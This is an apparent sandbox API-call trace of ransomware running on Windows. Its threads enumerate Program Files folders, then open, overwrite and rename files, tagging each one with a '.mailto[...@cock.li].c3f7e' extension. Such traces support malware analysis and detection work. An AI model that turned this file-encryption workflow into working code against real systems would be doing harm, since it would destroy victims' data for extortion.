	[0076.750] wcscmp (_String1=".", _String2=".") returned 0
	[0076.750] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.750] wcscmp (_String1="..", _String2=".") returned 1
	[0076.750] wcscmp (_String1="..", _String2="..") returned 0
	[0076.750] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1
	[0076.750] wcscmp (_String1="Windows Workflow Foundation", _String2=".") returned 1
	[0076.750] wcscmp (_String1="Windows Workflow Foundation", _String2="..") returned 1
	[0076.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x2e35368
	[0076.750] wcscpy (in: _Dest=0x2e35368, _Source="C:\\Program Files\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft"
	[0076.750] wcscat (in: _Dest=0x2e35368, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\"
	[0076.750] wcscat (in: _Dest=0x2e35368, _Source="Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation"
	[0077.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e35368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c
	[0077.272] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0077.272] FindClose (in: hFindFile=0x2d70880 | out: hFindFile=0x2d70880) returned 1
	[0077.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734360) returned 1
	[0077.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85a78) returned 1
	[0077.272] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730bf0) returned 1

Thread:
	id = 234
	os_tid = 0x1174

	[0076.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2d86f18
	[0076.750] wcscpy (in: _Dest=0x2d86f18, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft"
	[0076.750] wcscat (in: _Dest=0x2d86f18, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\"
	[0076.750] wcscat (in: _Dest=0x2d86f18, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\*"
	[0076.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47345b8
	[0076.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x47345b8 | out: lpFindFileData=0x47345b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d708c0
	[0076.751] wcscmp (_String1=".", _String2=".") returned 0
	[0076.751] FindNextFileW (in: hFindFile=0x2d708c0, lpFindFileData=0x47345b8 | out: lpFindFileData=0x47345b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.751] wcscmp (_String1="..", _String2=".") returned 1
	[0076.751] wcscmp (_String1="..", _String2="..") returned 0
	[0076.751] FindNextFileW (in: hFindFile=0x2d708c0, lpFindFileData=0x47345b8 | out: lpFindFileData=0x47345b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0076.751] wcscmp (_String1="Framework", _String2=".") returned 1
	[0076.751] wcscmp (_String1="Framework", _String2="..") returned 1
	[0076.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d600c8
	[0076.751] wcscpy (in: _Dest=0x2d600c8, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft"
	[0076.751] wcscat (in: _Dest=0x2d600c8, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\"
	[0076.751] wcscat (in: _Dest=0x2d600c8, _Source="Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework"
	[0077.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d600c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8
	[0077.270] FindNextFileW (in: hFindFile=0x2d708c0, lpFindFileData=0x47345b8 | out: lpFindFileData=0x47345b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0077.270] FindClose (in: hFindFile=0x2d708c0 | out: hFindFile=0x2d708c0) returned 1
	[0077.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47345b8) returned 1
	[0077.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86f18) returned 1
	[0077.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733868) returned 1

Thread:
	id = 235
	os_tid = 0x96c

	[0076.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3c) returned 0x2d73ae0
	[0076.752] wcscpy (in: _Dest=0x2d73ae0, _Source="C:\\Program Files\\rempl\\Logs" | out: _Dest="C:\\Program Files\\rempl\\Logs") returned="C:\\Program Files\\rempl\\Logs"
	[0076.752] wcscat (in: _Dest=0x2d73ae0, _Source="\\" | out: _Dest="C:\\Program Files\\rempl\\Logs\\") returned="C:\\Program Files\\rempl\\Logs\\"
	[0076.752] wcscat (in: _Dest=0x2d73ae0, _Source="*" | out: _Dest="C:\\Program Files\\rempl\\Logs\\*") returned="C:\\Program Files\\rempl\\Logs\\*"
	[0076.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4790718
	[0076.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\Logs\\*", lpFindFileData=0x4790718 | out: lpFindFileData=0x4790718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x86e9cd10, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87eb8
	[0081.784] wcscmp (_String1=".", _String2=".") returned 0
	[0081.784] FindNextFileW (in: hFindFile=0x2d87eb8, lpFindFileData=0x4790718 | out: lpFindFileData=0x4790718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x86e9cd10, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.784] wcscmp (_String1="..", _String2=".") returned 1
	[0081.784] wcscmp (_String1="..", _String2="..") returned 0
	[0081.784] FindNextFileW (in: hFindFile=0x2d87eb8, lpFindFileData=0x4790718 | out: lpFindFileData=0x4790718*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x87d22907, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remediation.001.etl", cAlternateFileName="REMEDI~3.ETL")) returned 1
	[0081.784] wcscmp (_String1="Remediation.001.etl", _String2=".") returned 1
	[0081.784] wcscmp (_String1="Remediation.001.etl", _String2="..") returned 1
	[0081.784] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780918
	[0081.784] wcscpy (in: _Dest=0x4780918, _Source="C:\\Program Files\\rempl\\Logs" | out: _Dest="C:\\Program Files\\rempl\\Logs") returned="C:\\Program Files\\rempl\\Logs"
	[0081.784] wcscat (in: _Dest=0x4780918, _Source="\\" | out: _Dest="C:\\Program Files\\rempl\\Logs\\") returned="C:\\Program Files\\rempl\\Logs\\"
	[0081.784] wcscat (in: _Dest=0x4780918, _Source="Remediation.001.etl" | out: _Dest="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl") returned="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl"
	[0091.871] GetFileAttributesW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl" (normalized: "c:\\program files\\rempl\\logs\\remediation.001.etl")) returned 0x2020
	[0091.871] SetFileAttributesW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl", dwFileAttributes=0x20) returned 1
	[0091.871] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl" (normalized: "c:\\program files\\rempl\\logs\\remediation.001.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1470
	[0091.872] GetFileSizeEx (in: hFile=0x1470, lpFileSize=0xb40fb64 | out: lpFileSize=0xb40fb64*=131072) returned 1
	[0091.872] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.872] ReadFile (in: hFile=0x1470, lpBuffer=0xb40fae8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb40fae4, lpOverlapped=0x0 | out: lpBuffer=0xb40fae8*, lpNumberOfBytesRead=0xb40fae4*=0x4, lpOverlapped=0x0) returned 1
	[0091.874] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0091.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.874] NtQuerySystemTime (in: CurrentTime=0xb40fac4 | out: CurrentTime=0xb40fac4*=132251868186034309) returned 0x0
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x9da07a92
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xfd1cf688
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x87d25d91
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x45207cb1
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x81fb0eb2
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x874ce579
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x7ab4c7da
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x6db7bb14
	[0091.874] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x414c00de
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x2384e1ff
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x7546dc15
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x39851416
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xfda87e42
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x69b34d21
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x3f167339
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x1eeed3da
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xfb5586f3
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xaffaf112
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x2b2a8a9
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xe037ff01
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xfd88e277
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x4169a6a8
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xfa137156
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xd0b4e873
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xe14d9336
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x694c65a3
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x4a6fb5e9
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xe18b0a66
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xc505c794
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0x761c2f8a
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xc7889ee5
	[0091.875] RtlRandom (in: Seed=0xb40fad0 | out: Seed=0xb40fad0) returned 0xd0bbfe6d
	[0091.884] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.884] ReadFile (in: hFile=0x1470, lpBuffer=0x50a4888, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xb40faa4, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0xb40faa4*=0xc800, lpOverlapped=0x0) returned 1
	[0091.886] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad18
	[0091.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83198
	[0091.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.887] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50b1090
	[0091.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318a8
	[0091.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.888] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad18) returned 1
	[0091.888] WriteFile (in: hFile=0x1470, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xb40faa4, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0xb40faa4*=0xc800, lpOverlapped=0x0) returned 1
	[0091.890] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.890] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x33) returned 0x477b228
	[0091.891] SetFilePointerEx (in: hFile=0x1470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.891] WriteFile (in: hFile=0x1470, lpBuffer=0x4771868*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0xb40fb24, lpOverlapped=0x0 | out: lpBuffer=0x4771868*, lpNumberOfBytesWritten=0xb40fb24*=0x117, lpOverlapped=0x0) returned 1
	[0091.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0091.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477b5a8) returned 1
	[0091.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477b228) returned 1
	[0091.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0091.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b78) returned 1
	[0091.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0091.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61580
	[0091.907] wcscpy (in: _Dest=0x2d61580, _Source="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl" | out: _Dest="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl") returned="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl"
	[0091.907] wcscat (in: _Dest=0x2d61580, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.907] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\rempl\\Logs\\Remediation.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xb40fadc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\rempl\\Logs\\Remediation.001.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926580
	[0091.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926580) returned 1
	[0091.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0091.911] NtQueryInformationFile (in: FileHandle=0x1470, IoStatusBlock=0xb40fae8, FileInformation=0xb40fac0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb40fae8, FileInformation=0xb40fac0) returned 0x0
	[0091.911] NtSetInformationFile (FileHandle=0x1470, IoStatusBlock=0xb40fae8, FileInformation=0xb40fac0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0091.912] FlushFileBuffers (hFile=0x1470) returned 1
	[0093.276] CloseHandle (hObject=0x1470) 

Thread:
	id = 236
	os_tid = 0xc68

	[0076.753] GetFileAttributesW (lpFileName="C:\\Program Files\\rempl\\rempl.xml" (normalized: "c:\\program files\\rempl\\rempl.xml")) returned 0x20
	[0082.845] SetFileAttributesW (lpFileName="C:\\Program Files\\rempl\\rempl.xml", dwFileAttributes=0x20) returned 1
	[0082.845] CreateFileW (lpFileName="C:\\Program Files\\rempl\\rempl.xml" (normalized: "c:\\program files\\rempl\\rempl.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16b4
	[0082.846] GetFileSizeEx (in: hFile=0x16b4, lpFileSize=0xb48fb10 | out: lpFileSize=0xb48fb10*=3884) returned 1
	[0082.846] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0xf28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.846] ReadFile (in: hFile=0x16b4, lpBuffer=0xb48fa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb48fa90, lpOverlapped=0x0 | out: lpBuffer=0xb48fa94*, lpNumberOfBytesRead=0xb48fa90*=0x4, lpOverlapped=0x0) returned 1
	[0082.857] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.858] NtQuerySystemTime (in: CurrentTime=0xb48fa70 | out: CurrentTime=0xb48fa70*=132251868095933082) returned 0x0
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xfc2614c3
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xc4c1230b
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x3e2a1d1c
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x942cfd08
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xad8d5965
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x557cc45
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x38ff3115
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xa2d691e8
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x984ec950
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x8a6ef4d8
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xc985845b
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x397f7573
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x8e7d39aa
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x47e9f69f
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xd1939a66
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xdc52782a
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xa36fefe
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x21dd11a5
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xddf9f11a
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xeb839c6
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x6579bd0b
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x5ebc712f
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x17f12909
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xc87ca5af
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x5bc75cd9
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x6e2fa6bd
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x1202b06e
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xb310c335
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xdb9d5f32
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0xf2917a26
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x9af576c
	[0082.858] RtlRandom (in: Seed=0xb48fa7c | out: Seed=0xb48fa7c) returned 0x20522013
	[0082.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
